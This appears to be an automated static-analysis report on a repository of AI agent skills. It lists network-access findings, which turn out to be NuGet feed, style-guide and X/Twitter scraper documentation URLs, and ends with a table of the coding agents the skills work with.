    <Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">

harness/github-copilot/skills/winmd-api-search/scripts/cache-generator/obj/CacheGenerator.csproj.nuget.g.targets

  • Network accessline 1
    <U+FEFF><?xml version="1.0" encoding="utf-8" standalone="no"?> <Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" />
  • Network accessline 2
    <Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" />

harness/github-copilot/skills/winmd-api-search/scripts/cache-generator/obj/project.assets.json

  • Network accessline 2117
    ],       "sources": {         "https://packagefeedproxy.microsoft.io/nuget/v3/index.json": {}
  • Network accessline 2118
    "sources": {         "https://packagefeedproxy.microsoft.io/nuget/v3/index.json": {}       },
  • Network accessline 2119
    "https://packagefeedproxy.microsoft.io/nuget/v3/index.json": {}

harness/github-copilot/skills/write-coding-standards-from-file/SKILL.md

  • Network accessline 72
    Keep these original configuration labels recognizable when translating older requests: `boolean`, `string[]`, `string`, `object`, `quasi-configuration`, `as-is`, `and/or`, ` or `, `top-level`, `well-known`, `line-breaks`, `${fileName}`, `${
  • Network accessline 93
    | Language or ecosystem | URL | | --- | --- | | C Style Guide | `https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html` |
  • Network accessline 94
    | --- | --- | | C Style Guide | `https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html` | | C# Style Guide | `https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/coding-style/coding-conventions` |
  • Network accessline 95
    | C Style Guide | `https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html` |
  • Network accessline 96
    | C# Style Guide | `https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/coding-style/coding-conventions` |
  • Network accessline 97
    | C++ Style Guide | `https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines` |
  • Network accessline 98
    | Go Style Guide | `https://github.com/golang-standards/project-layout` |
  • Network accessline 99
    | Java Style Guide | `https://coderanch.com/wiki/718799/Style` |
  • Network accessline 100
    | AngularJS App Style Guide | `https://github.com/mgechev/angularjs-style-guide` |
  • Network accessline 101
    | jQuery Style Guide | `https://contribute.jquery.org/style-guide/js/` |
  • Network accessline 102
    | JavaScript Style Guide | `https://www.w3schools.com/js/js_conventions.asp` |
  • Network accessline 103
    | JSON Style Guide | `https://google.github.io/styleguide/jsoncstyleguide.xml` |
  • Network accessline 104
    | Kotlin Style Guide | `https://kotlinlang.org/docs/coding-conventions.html` |
  • Network accessline 105
    | Markdown Style Guide | `https://cirosantilli.com/markdown-style-guide/` |
  • Network accessline 106
    | Perl Style Guide | `https://perldoc.perl.org/perlstyle` |
  • Network accessline 107
    | PHP Style Guide | `https://phptherightway.com/` |
  • Network accessline 108
    | Python Style Guide | `https://peps.python.org/pep-0008/` |
  • Network accessline 109
    | Ruby Style Guide | `https://rubystyle.guide/` |
  • Network accessline 110
    | Rust Style Guide | `https://github.com/rust-lang/rust/tree/HEAD/src/doc/style-guide/src` |
  • Network accessline 111
    | Swift Style Guide | `https://www.swift.org/documentation/api-design-guidelines/` |
  • Network accessline 112
    | TypeScript Style Guide | `https://www.typescriptlang.org/docs/handbook/declaration-files/do-s-and-don-ts.html` |
  • Network accessline 113
    | Visual Basic Style Guide | `https://en.wikibooks.org/wiki/Visual_Basic/Coding_Standards` |
  • Network accessline 114
    | Shell Script Style Guide | `https://google.github.io/styleguide/shellguide.html` |
  • Network accessline 115
    | Git Usage Style Guide | `https://github.com/agis/git-style-guide` |
  • Network accessline 116
    | PowerShell Style Guide | `https://github.com/PoshCode/PowerShellPracticeAndStyle` |
  • Network accessline 117
    | CSS | `https://cssguidelin.es/` |
  • Network accessline 118
    | Sass Style Guide | `https://sass-guidelin.es/` |
  • Network accessline 119
    | HTML Style Guide | `https://github.com/marcobiedermann/html-style-guide` |
  • Network accessline 120
    | Linux kernel Style Guide | `https://www.kernel.org/doc/html/latest/process/coding-style.html` |
  • Network accessline 121
    | Node.js Style Guide | `https://github.com/felixge/node-style-guide` |
  • Network accessline 122
    | SQL Style Guide | `https://www.sqlstyle.guide/` |
  • Network accessline 123
    | Angular Style Guide | `https://angular.dev/style-guide` |
  • Network accessline 124
    | Vue Style Guide | `https://vuejs.org/style-guide/rules-strongly-recommended.html` |
  • Network accessline 125
    | Django Style Guide | `https://docs.djangoproject.com/en/dev/internals/contributing/writing-code/coding-style/` |
  • Network accessline 126
    | SystemVerilog Style Guide | `https://github.com/lowRISC/style-guides/blob/master/VerilogCodingStyle.md` |
  • Network accessline 268
    - [C Style Guide](https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html)
  • Network accessline 269
    - [C# Style Guide](https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/coding-style/coding-conventions)
  • Network accessline 270
    - [C++ Style Guide](https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines)
  • Network accessline 271
    - [Go Style Guide](https://github.com/golang-standards/project-layout)
  • Network accessline 272
    - [Java Style Guide](https://coderanch.com/wiki/718799/Style)
  • Network accessline 273
    - [AngularJS App Style Guide](https://github.com/mgechev/angularjs-style-guide)
  • Network accessline 274
    - [jQuery Style Guide](https://contribute.jquery.org/style-guide/js/)
  • Network accessline 275
    - [JavaScript Style Guide](https://www.w3schools.com/js/js_conventions.asp)
  • Network accessline 276
    - [JSON Style Guide](https://google.github.io/styleguide/jsoncstyleguide.xml)
  • Network accessline 277
    - [Kotlin Style Guide](https://kotlinlang.org/docs/coding-conventions.html)
  • Network accessline 278
    - [Markdown Style Guide](https://cirosantilli.com/markdown-style-guide/)
  • Network accessline 279
    - [Perl Style Guide](https://perldoc.perl.org/perlstyle)
  • Network accessline 280
    - [PHP Style Guide](https://phptherightway.com/)
  • Network accessline 281
    - [Python Style Guide](https://peps.python.org/pep-0008/)
  • Network accessline 282
    - [Ruby Style Guide](https://rubystyle.guide/)
  • Network accessline 283
    - [Rust Style Guide](https://github.com/rust-lang/rust/tree/HEAD/src/doc/style-guide/src)
  • Network accessline 284
    - [Swift Style Guide](https://www.swift.org/documentation/api-design-guidelines/)
  • Network accessline 285
    - [TypeScript Style Guide](https://www.typescriptlang.org/docs/handbook/declaration-files/do-s-and-don-ts.html)
  • Network accessline 286
    - [Visual Basic Style Guide](https://en.wikibooks.org/wiki/Visual_Basic/Coding_Standards)
  • Network accessline 287
    - [Shell Script Style Guide](https://google.github.io/styleguide/shellguide.html)
  • Network accessline 288
    - [Git Usage Style Guide](https://github.com/agis/git-style-guide)
  • Network accessline 289
    - [PowerShell Style Guide](https://github.com/PoshCode/PowerShellPracticeAndStyle)
  • Network accessline 290
    - [CSS](https://cssguidelin.es/)
  • Network accessline 291
    - [Sass Style Guide](https://sass-guidelin.es/)
  • Network accessline 292
    - [HTML Style Guide](https://github.com/marcobiedermann/html-style-guide)
  • Network accessline 293
    - [Linux kernel Style Guide](https://www.kernel.org/doc/html/latest/process/coding-style.html)
  • Network accessline 294
    - [Node.js Style Guide](https://github.com/felixge/node-style-guide)
  • Network accessline 295
    - [SQL Style Guide](https://www.sqlstyle.guide/)
  • Network accessline 296
    - [Angular Style Guide](https://angular.dev/style-guide)
  • Network accessline 297
    - [Vue Style Guide](https://vuejs.org/style-guide/rules-strongly-recommended.html)
  • Network accessline 298
    - [Django Style Guide](https://docs.djangoproject.com/en/dev/internals/contributing/writing-code/coding-style/)
  • Network accessline 299
    - [SystemVerilog Style Guide](https://github.com/lowRISC/style-guides/blob/master/VerilogCodingStyle.md)

harness/github-copilot/skills/x-twitter-scraper/SKILL.md

  • Network accessline 23
    | Source | URL | | --- | --- | | REST API docs | https://docs.xquik.com/api-reference/overview |
  • Network accessline 24
    | --- | --- | | REST API docs | https://docs.xquik.com/api-reference/overview | | SDK index | https://docs.xquik.com/sdks |
  • Network accessline 25
    | REST API docs | https://docs.xquik.com/api-reference/overview |
  • Network accessline 26
    | SDK index | https://docs.xquik.com/sdks |
  • Network accessline 27
    | OpenAPI spec | https://xquik.com/openapi.json |
  • Network accessline 28
    | MCP server docs | https://docs.xquik.com/mcp/overview |
  • Network accessline 29
    | Skill repo | https://github.com/Xquik-dev/x-twitter-scraper |
  • Network accessline 30
    | TweetClaw OpenClaw plugin | https://github.com/Xquik-dev/tweetclaw |
  • Network accessline 31
    | TweetClaw npm metadata | https://registry.npmjs.org/@xquik%2Ftweetclaw |
  • Network accessline 32
    | X Tweet Scraper Actor | https://apify.com/xquik/x-tweet-scraper |
  • Network accessline 33
    | X Follower Scraper Actor | https://apify.com/xquik/x-follower-scraper |
  • Network accessline 67
    [Credential-related source omitted]
  • Network accessline 73
    [Credential-related source omitted]
  • Network accessline 128
    - [REST API docs](https://docs.xquik.com/api-reference/overview)
  • Network accessline 129
    - [SDK index](https://docs.xquik.com/sdks)
  • Network accessline 130
    - [OpenAPI spec](https://xquik.com/openapi.json)
  • Network accessline 131
    - [MCP server docs](https://docs.xquik.com/mcp/overview)
  • Network accessline 132
    - [Skill repo](https://github.com/Xquik-dev/x-twitter-scraper)
  • Network accessline 133
    - [TweetClaw OpenClaw plugin](https://github.com/Xquik-dev/tweetclaw)
  • Network accessline 134
    - [TweetClaw npm registry metadata](https://registry.npmjs.org/@xquik%2Ftweetclaw)
  • Network accessline 135
    - [X Tweet Scraper Actor](https://apify.com/xquik/x-tweet-scraper)
  • Network accessline 136
    - [X Follower Scraper Actor](https://apify.com/xquik/x-follower-scraper)
  • Network accessline 137
    - [Tweet Actor run endpoint](https://api.apify.com/v2/actors/xquik~x-tweet-scraper/runs)
  • Network accessline 138
    - [Follower Actor run endpoint](https://api.apify.com/v2/actors/xquik~x-follower-scraper/runs)

How the signals fit together

Facts from a static read of the files at the pinned commit. They describe what the code does, not why.

Some files could not be read; the facts below still hold.

Signal confidence: 500 facts

and 450 more

Only the first 500 facts are listed.

Works with

Agent compatibility, from the files in this repository
AgentStatusEvidenceInstall to
Claude CodeNativeManifest .claude-plugin/marketplace.json.claude/skills/<skill-name>/
CodexNativeManifest harness/claude-code/plugins/open-horizons-platform/AGENTS.md.agents/skills/<skill-name>/
CursorCompatibleStandard SKILL.md docs/references/ears-validate/SKILL.md.cursor/skills/<skill-name>/
Gemini CLICompatibleStandard SKILL.md docs/references/ears-validate/SKILL.md.gemini/skills/<skill-name>/
GitHub CopilotNativeManifest .github/copilot-instructions.md.github/skills/<skill-name>/
OpenCodeCompatibleStandard SKILL.md docs/references/ears-validate/SKILL.md.opencode/skills/<skill-name>/
  • Native The repository ships a manifest, folder or frontmatter field for this agent.
  • Compatible A standard SKILL.md that this agent can read.
  • Unknown No evidence either way.

Derived automatically from paths, manifests and frontmatter. Not tested on each agent.